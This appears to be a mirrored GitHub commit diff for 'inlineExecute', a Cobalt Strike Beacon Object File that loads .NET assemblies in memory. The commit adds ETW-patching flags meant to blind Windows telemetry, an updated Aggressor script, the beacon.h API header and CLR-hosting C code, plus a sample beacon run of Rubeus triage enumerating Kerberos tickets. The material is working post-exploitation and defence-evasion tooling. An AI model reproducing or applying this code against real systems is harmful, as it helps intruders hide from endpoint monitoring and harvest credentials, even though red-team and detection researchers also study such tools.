mirror of
https://github.com/loland/inlineExecute
synced 2026-06-21 13:56:50 +00:00
Subscriber Bit Patching integration
Integration of the Subscriber Bit Patching technique into the BOF. Also properly unloads the sacrificial AppDomain before termination.
This commit is contained in:
@@ -16,13 +16,13 @@ Load `inlineExecute.cna` from `Cobalt Strike -> Script Manager -> Load`. Ensure
|
||||
|
||||
```shell
|
||||
beacon> inlineExecute
|
||||
[+] Usage: inlineExecute [-etw] [-verbose] <filepath> <args>
|
||||
[+] Usage: inlineExecute [-etwH] [-etwB] [-verbose] <filepath> <args>
|
||||
```
|
||||
|
||||
The `-etw` flag patches ETW in `clr.dll`.
|
||||
The `-etwH` and `-etwB` flags patches ETW via the Provider Handle Patching and Subscriber Bit Patching technique respectively. They can be used together or individually.
|
||||
|
||||
```
|
||||
inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
|
||||
inlineExecute -etwH -etwB /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
|
||||
```
|
||||
|
||||
The `-verbose` flag outputs debugging information.
|
||||
@@ -34,11 +34,62 @@ inlineExecute -verbose -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.e
|
||||
Example usage with `Rubeus.exe triage`.
|
||||
|
||||
```shell
|
||||
[11/29 04:08:35] beacon> inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
|
||||
[11/29 04:08:35] [+] Executing: /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe
|
||||
[11/29 04:08:35] [+] Arguments: triage
|
||||
[11/29 04:08:37] [+] host called home, sent: 459528 bytes
|
||||
[11/29 04:08:37] [+] received output:
|
||||
[12/02 22:26:17] beacon> inlineExecute -etwB -etwH -verbose /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe triage
|
||||
[12/02 22:26:17] [+] Executing: /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe
|
||||
[12/02 22:26:17] [+] Arguments: triage
|
||||
[12/02 22:26:17] [+] host called home, sent: 461058 bytes
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Runtime info obtained
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Runtime is loadable
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] ICorRuntimeHost obtained
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] CLR started successfully
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeHandle address: 00007FFEA4140930
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeHandle value: 7310c0
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeHandle patched: 1
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeEnableBits address: 00007FFEA41311C0
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeEnableBits value: ffffffff
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeEnableBits patched: 0
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] clr.dll loaded: 00007FFEA36A0000
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Anonymous pipe created
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Console created and hidden
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Redirected stdout/stderr to pipe
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] AppDomain Created
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Assembly Loaded
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Assembly executed, reading output...
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
|
||||
|
||||
______ _
|
||||
@@ -53,7 +104,7 @@ Example usage with `Rubeus.exe triage`.
|
||||
|
||||
Action: Triage Kerberos Tickets (Current User)
|
||||
|
||||
[*] Current LUID : 0x1bc1b
|
||||
[*] Current LUID : 0x1e563
|
||||
|
||||
---------------------------------------
|
||||
| LUID | UserName | Service | EndTime |
|
||||
@@ -61,7 +112,12 @@ Action: Triage Kerberos Tickets (Current User)
|
||||
---------------------------------------
|
||||
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeHandle value restored: 7310c0
|
||||
|
||||
[11/29 04:08:37] [+] received output:
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] DotNETRuntimeEnableBits value restored: ffffffff
|
||||
|
||||
[12/02 22:26:17] [+] received output:
|
||||
[+] Done
|
||||
```
|
||||
@@ -1,6 +1,6 @@
|
||||
# inlineExecute.cna
|
||||
|
||||
$help = "Usage: inlineExecute [-etw] [-verbose] <filepath> <args>";
|
||||
$help = "Usage: inlineExecute [-etwH] [-etwB] [-verbose] <filepath> <args>";
|
||||
|
||||
beacon_command_register(
|
||||
"inlineExecute",
|
||||
@@ -19,11 +19,15 @@ alias inlineExecute {
|
||||
|
||||
@args = split(' ', $data);
|
||||
|
||||
$patchEtw = false;
|
||||
$patchEtwProviderHandle = false;
|
||||
$patchEtwEnableBits = false;
|
||||
$verbose = false;
|
||||
for ($i = 0; $i < size(@args); $i++) {
|
||||
if (@args[$i] iswm "-etw") {
|
||||
$patchEtw = true;
|
||||
if (@args[$i] iswm "-etwH") {
|
||||
$patchEtwProviderHandle = true;
|
||||
|
||||
} else if (@args[$i] iswm "-etwB") {
|
||||
$patchEtwEnableBits = true;
|
||||
|
||||
} else if (@args[$i] iswm "-verbose") {
|
||||
$verbose = true;
|
||||
@@ -61,7 +65,7 @@ alias inlineExecute {
|
||||
return;
|
||||
}
|
||||
|
||||
$bof_args = bof_pack($1, "bizii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtw, $verbose);
|
||||
$bof_args = bof_pack($1, "biziii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $verbose);
|
||||
|
||||
beacon_inline_execute($1, $bof, "go", $bof_args);
|
||||
}
|
||||
Binary file not shown.
+396
@@ -0,0 +1,396 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
* 7/18/2023: Added BeaconInformation API for 4.9
|
||||
* 7/31/2023: Added Key/Value store APIs for 4.9
|
||||
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
|
||||
* 8/31/2023: Added Data store APIs for 4.9
|
||||
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
|
||||
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
|
||||
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
|
||||
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
|
||||
* Updated the BEACON_INFO data structure to add new parameters
|
||||
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
|
||||
* 4/25/2024: Added APIs to call Beacon's system call implementation
|
||||
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
|
||||
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs
|
||||
*/
|
||||
#ifndef _BEACON_H_
|
||||
#define _BEACON_H_
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_CUSTOM 0x1000
|
||||
#define CALLBACK_CUSTOM_LAST 0x13ff
|
||||
|
||||
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
|
||||
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
|
||||
/* Beacon Information */
|
||||
/*
|
||||
* ptr - pointer to the base address of the allocated memory.
|
||||
* size - the number of bytes allocated for the ptr.
|
||||
*/
|
||||
typedef struct {
|
||||
char * ptr;
|
||||
size_t size;
|
||||
} HEAP_RECORD;
|
||||
#define MASK_SIZE 13
|
||||
|
||||
/* Information the user can set in the USER_DATA via a UDRL */
|
||||
typedef enum {
|
||||
PURPOSE_EMPTY,
|
||||
PURPOSE_GENERIC_BUFFER,
|
||||
PURPOSE_BEACON_MEMORY,
|
||||
PURPOSE_SLEEPMASK_MEMORY,
|
||||
PURPOSE_BOF_MEMORY,
|
||||
PURPOSE_USER_DEFINED_MEMORY = 1000
|
||||
} ALLOCATED_MEMORY_PURPOSE;
|
||||
|
||||
typedef enum {
|
||||
LABEL_EMPTY,
|
||||
LABEL_BUFFER,
|
||||
LABEL_PEHEADER,
|
||||
LABEL_TEXT,
|
||||
LABEL_RDATA,
|
||||
LABEL_DATA,
|
||||
LABEL_PDATA,
|
||||
LABEL_RELOC,
|
||||
LABEL_USER_DEFINED = 1000
|
||||
} ALLOCATED_MEMORY_LABEL;
|
||||
|
||||
typedef enum {
|
||||
METHOD_UNKNOWN,
|
||||
METHOD_VIRTUALALLOC,
|
||||
METHOD_HEAPALLOC,
|
||||
METHOD_MODULESTOMP,
|
||||
METHOD_NTMAPVIEW,
|
||||
METHOD_USER_DEFINED = 1000,
|
||||
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
|
||||
|
||||
/**
|
||||
* This structure allows the user to provide additional information
|
||||
* about the allocated heap for cleanup. It is mandatory to provide
|
||||
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
|
||||
* whether the clean up code should destroy the heap or simply free the pages.
|
||||
* This is useful in situations where a loader allocates memory in the
|
||||
* processes current heap.
|
||||
*/
|
||||
typedef struct _HEAPALLOC_INFO {
|
||||
PVOID HeapHandle;
|
||||
BOOL DestroyHeap;
|
||||
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
|
||||
|
||||
typedef struct _MODULESTOMP_INFO {
|
||||
HMODULE ModuleHandle;
|
||||
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
|
||||
|
||||
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
|
||||
HEAPALLOC_INFO HeapAllocInfo;
|
||||
MODULESTOMP_INFO ModuleStompInfo;
|
||||
PVOID Custom;
|
||||
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
|
||||
BOOL Cleanup;
|
||||
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
|
||||
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
|
||||
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_SECTION {
|
||||
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
|
||||
PVOID BaseAddress; // Pointer to virtual address of section
|
||||
SIZE_T VirtualSize; // Virtual size of the section
|
||||
DWORD CurrentProtect; // Current memory protection of the section
|
||||
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
|
||||
BOOL MaskSection; // A boolean to indicate whether the section should be masked
|
||||
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_REGION {
|
||||
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
|
||||
PVOID AllocationBase; // The base address of the allocated memory block
|
||||
SIZE_T RegionSize; // The size of the allocated memory block
|
||||
DWORD Type; // The type of memory allocated
|
||||
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
|
||||
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
|
||||
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
|
||||
|
||||
/*
|
||||
* version - The version of the beacon dll was added for release 4.10
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*
|
||||
* sleep_mask_ptr - pointer to the sleep mask base address
|
||||
* sleep_mask_text_size - the sleep mask text section size
|
||||
* sleep_mask_total_size - the sleep mask total memory size
|
||||
*
|
||||
* beacon_ptr - pointer to beacon's base address
|
||||
* The stage.obfuscate flag affects this value when using CS default loader.
|
||||
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
|
||||
* false: beacon_ptr = allocated_buffer (A valid address)
|
||||
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
|
||||
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
|
||||
* heap_records - list of memory addresses on the heap beacon wants to mask.
|
||||
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
|
||||
* mask - the mask that beacon randomly generated to apply
|
||||
*
|
||||
* Added in version 4.10
|
||||
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
|
||||
* via a UDRL.
|
||||
*/
|
||||
typedef struct {
|
||||
unsigned int version;
|
||||
char * sleep_mask_ptr;
|
||||
DWORD sleep_mask_text_size;
|
||||
DWORD sleep_mask_total_size;
|
||||
|
||||
char * beacon_ptr;
|
||||
HEAP_RECORD * heap_records;
|
||||
char mask[MASK_SIZE];
|
||||
|
||||
ALLOCATED_MEMORY allocatedMemory;
|
||||
} BEACON_INFO, *PBEACON_INFO;
|
||||
|
||||
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
|
||||
|
||||
/* Key/Value store functions
|
||||
* These functions are used to associate a key to a memory address and save
|
||||
* that information into beacon. These memory addresses can then be
|
||||
* retrieved in a subsequent execution of a BOF.
|
||||
*
|
||||
* key - the key will be converted to a hash which is used to locate the
|
||||
* memory address.
|
||||
*
|
||||
* ptr - a memory address to save.
|
||||
*
|
||||
* Considerations:
|
||||
* - The contents at the memory address is not masked by beacon.
|
||||
* - The contents at the memory address is not released by beacon.
|
||||
*
|
||||
*/
|
||||
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
|
||||
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
|
||||
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
|
||||
|
||||
/* Beacon Data Store functions
|
||||
* These functions are used to access items in Beacon's Data Store.
|
||||
* BeaconDataStoreGetItem returns NULL if the index does not exist.
|
||||
*
|
||||
* The contents are masked by default, and BOFs must unprotect the entry
|
||||
* before accessing the data buffer. BOFs must also protect the entry
|
||||
* after the data is not used anymore.
|
||||
*
|
||||
*/
|
||||
|
||||
#define DATA_STORE_TYPE_EMPTY 0
|
||||
#define DATA_STORE_TYPE_GENERAL_FILE 1
|
||||
|
||||
typedef struct {
|
||||
int type;
|
||||
DWORD64 hash;
|
||||
BOOL masked;
|
||||
char* buffer;
|
||||
size_t length;
|
||||
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
|
||||
|
||||
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
|
||||
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
|
||||
|
||||
/* Beacon User Data functions */
|
||||
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
|
||||
|
||||
/* Beacon System call */
|
||||
/* Syscalls API */
|
||||
typedef struct
|
||||
{
|
||||
PVOID fnAddr;
|
||||
PVOID jmpAddr;
|
||||
DWORD sysnum;
|
||||
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntProtectVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntFreeVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntGetContextThread;
|
||||
SYSCALL_API_ENTRY ntSetContextThread;
|
||||
SYSCALL_API_ENTRY ntResumeThread;
|
||||
SYSCALL_API_ENTRY ntCreateThreadEx;
|
||||
SYSCALL_API_ENTRY ntOpenProcess;
|
||||
SYSCALL_API_ENTRY ntOpenThread;
|
||||
SYSCALL_API_ENTRY ntClose;
|
||||
SYSCALL_API_ENTRY ntCreateSection;
|
||||
SYSCALL_API_ENTRY ntMapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntUnmapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntQueryVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntDuplicateObject;
|
||||
SYSCALL_API_ENTRY ntReadVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntWriteVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntReadFile;
|
||||
SYSCALL_API_ENTRY ntWriteFile;
|
||||
SYSCALL_API_ENTRY ntCreateFile;
|
||||
SYSCALL_API_ENTRY ntQueueApcThread;
|
||||
SYSCALL_API_ENTRY ntCreateProcess;
|
||||
SYSCALL_API_ENTRY ntOpenProcessToken;
|
||||
SYSCALL_API_ENTRY ntTestAlert;
|
||||
SYSCALL_API_ENTRY ntSuspendProcess;
|
||||
SYSCALL_API_ENTRY ntResumeProcess;
|
||||
SYSCALL_API_ENTRY ntQuerySystemInformation;
|
||||
SYSCALL_API_ENTRY ntQueryDirectoryFile;
|
||||
SYSCALL_API_ENTRY ntSetInformationProcess;
|
||||
SYSCALL_API_ENTRY ntSetInformationThread;
|
||||
SYSCALL_API_ENTRY ntQueryInformationProcess;
|
||||
SYSCALL_API_ENTRY ntQueryInformationThread;
|
||||
SYSCALL_API_ENTRY ntOpenSection;
|
||||
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
|
||||
SYSCALL_API_ENTRY ntDeviceIoControlFile;
|
||||
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
|
||||
} SYSCALL_API, *PSYSCALL_API;
|
||||
|
||||
/* Additional Run Time Library (RTL) addresses used to support system calls.
|
||||
* If they are not set then system calls that require them will fall back
|
||||
* to the Standard Windows API.
|
||||
*
|
||||
* Required to support the following system calls:
|
||||
* ntCreateFile
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
|
||||
PVOID rtlFreeHeapAddr;
|
||||
PVOID rtlGetProcessHeapAddr;
|
||||
} RTL_API, *PRTL_API;
|
||||
|
||||
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
|
||||
* This allows for retrieving a copy of the information which would be under the BOF's
|
||||
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API syscalls;
|
||||
RTL_API rtls;
|
||||
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
|
||||
|
||||
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
|
||||
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
|
||||
|
||||
/* Beacon System call functions which will use the current system call method */
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
||||
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
|
||||
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
||||
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
||||
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
||||
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
|
||||
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
|
||||
|
||||
/* Beacon Gate APIs */
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
|
||||
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
|
||||
|
||||
/* Beacon User Data
|
||||
*
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*/
|
||||
|
||||
#define DLL_BEACON_USER_DATA 0x0d
|
||||
#define BEACON_USER_DATA_CUSTOM_SIZE 32
|
||||
typedef struct
|
||||
{
|
||||
unsigned int version;
|
||||
PSYSCALL_API syscalls;
|
||||
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
|
||||
PRTL_API rtls;
|
||||
PALLOCATED_MEMORY allocatedMemory;
|
||||
} USER_DATA, * PUSER_DATA;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
#endif // _BEACON_H_
|
||||
+117
-26
@@ -31,7 +31,7 @@ typedef struct _CLRContext {
|
||||
ICLRRuntimeInfo* pRuntimeInfo;
|
||||
ICorRuntimeHost* pCorRuntimeHost;
|
||||
IUnknown* pAppDomainThunk;
|
||||
AppDomain* pDefaultAppDomain;
|
||||
AppDomain* pSacrifcialAppDomain;
|
||||
Assembly* pAssembly;
|
||||
MethodInfo* pMethodInfo;
|
||||
} CLRContext;
|
||||
@@ -271,13 +271,13 @@ static BOOL createAppDomain(HMODULE kernel32Base, CLRContext* ctx, HANDLE hOrigi
|
||||
_SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle");
|
||||
|
||||
HRESULT hr;
|
||||
hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"placeholder_domain", NULL, &ctx->pAppDomainThunk);
|
||||
hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"PlaceholderDoman", NULL, &ctx->pAppDomainThunk);
|
||||
if (FAILED(hr)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "[-] CreateDomain failed: 0x%08x\n", hr);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pDefaultAppDomain);
|
||||
hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pSacrifcialAppDomain);
|
||||
if (FAILED(hr)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "[-] QueryInterface for AppDomain failed: 0x%08x\n", hr);
|
||||
return FALSE;
|
||||
@@ -320,7 +320,7 @@ static BOOL loadAssembly(HMODULE kernel32Base, unsigned char* assemblyBytes, siz
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hr = ctx->pDefaultAppDomain->lpVtbl->Load_3(ctx->pDefaultAppDomain, pSafeArray, &ctx->pAssembly);
|
||||
hr = ctx->pSacrifcialAppDomain->lpVtbl->Load_3(ctx->pSacrifcialAppDomain, pSafeArray, &ctx->pAssembly);
|
||||
if (FAILED(hr)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "[-] Load_3 failed: 0x%08x\n", hr);
|
||||
OLEAUT32$SafeArrayDestroy(pSafeArray);
|
||||
@@ -434,17 +434,22 @@ static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) {
|
||||
ctx->pAssembly->lpVtbl->Release(ctx->pAssembly);
|
||||
ctx->pAssembly = NULL;
|
||||
}
|
||||
|
||||
// unloads SacrifcialAppDomain
|
||||
if (ctx->pCorRuntimeHost && ctx->pSacrifcialAppDomain) {
|
||||
ctx->pCorRuntimeHost->lpVtbl->UnloadDomain(ctx->pCorRuntimeHost, (IUnknown *)(ctx->pSacrifcialAppDomain));
|
||||
}
|
||||
|
||||
if (ctx->pDefaultAppDomain) {
|
||||
ctx->pDefaultAppDomain->lpVtbl->Release(ctx->pDefaultAppDomain);
|
||||
ctx->pDefaultAppDomain = NULL;
|
||||
if (ctx->pSacrifcialAppDomain) {
|
||||
ctx->pSacrifcialAppDomain->lpVtbl->Release(ctx->pSacrifcialAppDomain);
|
||||
ctx->pSacrifcialAppDomain = NULL;
|
||||
}
|
||||
|
||||
if (ctx->pAppDomainThunk) {
|
||||
ctx->pAppDomainThunk->lpVtbl->Release(ctx->pAppDomainThunk);
|
||||
ctx->pAppDomainThunk = NULL;
|
||||
}
